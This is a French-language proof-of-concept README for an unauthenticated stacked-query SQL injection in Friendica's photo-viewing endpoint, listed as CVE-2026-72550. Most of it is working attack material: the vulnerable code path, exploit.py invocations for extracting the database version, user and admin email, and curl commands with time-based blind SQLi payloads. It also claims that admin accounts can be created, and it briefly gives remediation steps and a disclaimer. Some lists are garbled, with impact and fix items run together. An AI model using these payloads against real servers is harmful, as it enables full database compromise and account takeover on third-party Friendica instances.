
CVE-2026-72550 — PoC d'injection SQL par requêtes empilées non authentifiée dans Friendica (CVSS 9.8 Critique)
Une injection SQL non authentifiée par requêtes empilées dans le point de terminaison photos de Friendica permet à tout visiteur d'exécuter du SQL arbitraire.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-72550 |
| Produit | Friendica (réseau social fédéré auto-hébergé) |
| Versions affectées | <= 2026.08-dev (git HEAD e3fc1bc) |
| Type | CWE-89 : Injection SQL (non authentifiée, requêtes empilées) |
| Sévérité | Critique — CVSS 3.1 : 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentification requise | Aucune |
Le point de terminaison d'affichage de photos de Friendica prend le paramètre de requête order et le concatène, sans échappement, dans une instruction SHOW COLUMNS ... LIKE '...' exécutée via un PDO::query() brut — ce qui autorise plusieurs instructions. Aucune connexion n'est requise et, sur une installation par défaut (block_public est désactivé par défaut), n'importe quelle photo visible publiquement suffit. Comme PDO::query() exécute des instructions empilées, un attaquant anonyme ne se contente pas de lire des données — il exécute du SQL arbitraire, y compris des INSERT/UPDATE pour créer un utilisateur administrateur.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
Le chemin de requête par défaut atteint ce code : $cmd vaut 'view' par défaut (satisfaisant ainsi la condition $cmd === 'view') et no_count est désactivé, donc aucune authentification ni aucun réglage non standard n'est nécessaire.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
Aucun cookie ni authentification requis. Ciblez n'importe quel identifiant de ressource de photo publique :
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Charge utile décodée : x';SELECT SLEEP(5)-- -
Le SQL injecté devient :
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Un attaquant non authentifié peut :
INSERT INTO userIl s'agit d'une compromission totale de la base de données, accessible à tout visiteur anonyme sur une installation Friendica par défaut.
order par rapport à la liste blanche des colonnes connues avant utilisationSHOW COLUMNSPDO::ATTR_EMULATE_PREPARES => false)| Date | Événement |
|---|---|
| 2026-07-07 | Vulnérabilité découverte et confirmée sur une instance locale |
| 2026-08-11 | CVE-2026-72550 publiée via le CNA TuranSec |
Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins éducatives. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
Découverte par Bobur Abdugafforov (@abdugafforov-bobur)
CVE attribuée via le CNA TuranSec
| Option | Description |
|---|
-u / --url | URL de base de la cible (p. ex. http://target:8176) |
-r / --user | Nom d'utilisateur dont il faut cibler la galerie de photos |
-i / --resource-id | Identifiant de ressource de toute photo visible publiquement |
--extract | Valeur à exfiltrer : version, db_user, db_name, admin_email |
--check-only | Tester uniquement la vulnérabilité, sans extraire de données |
--sleep | Délai SLEEP en secondes (par défaut : 5) |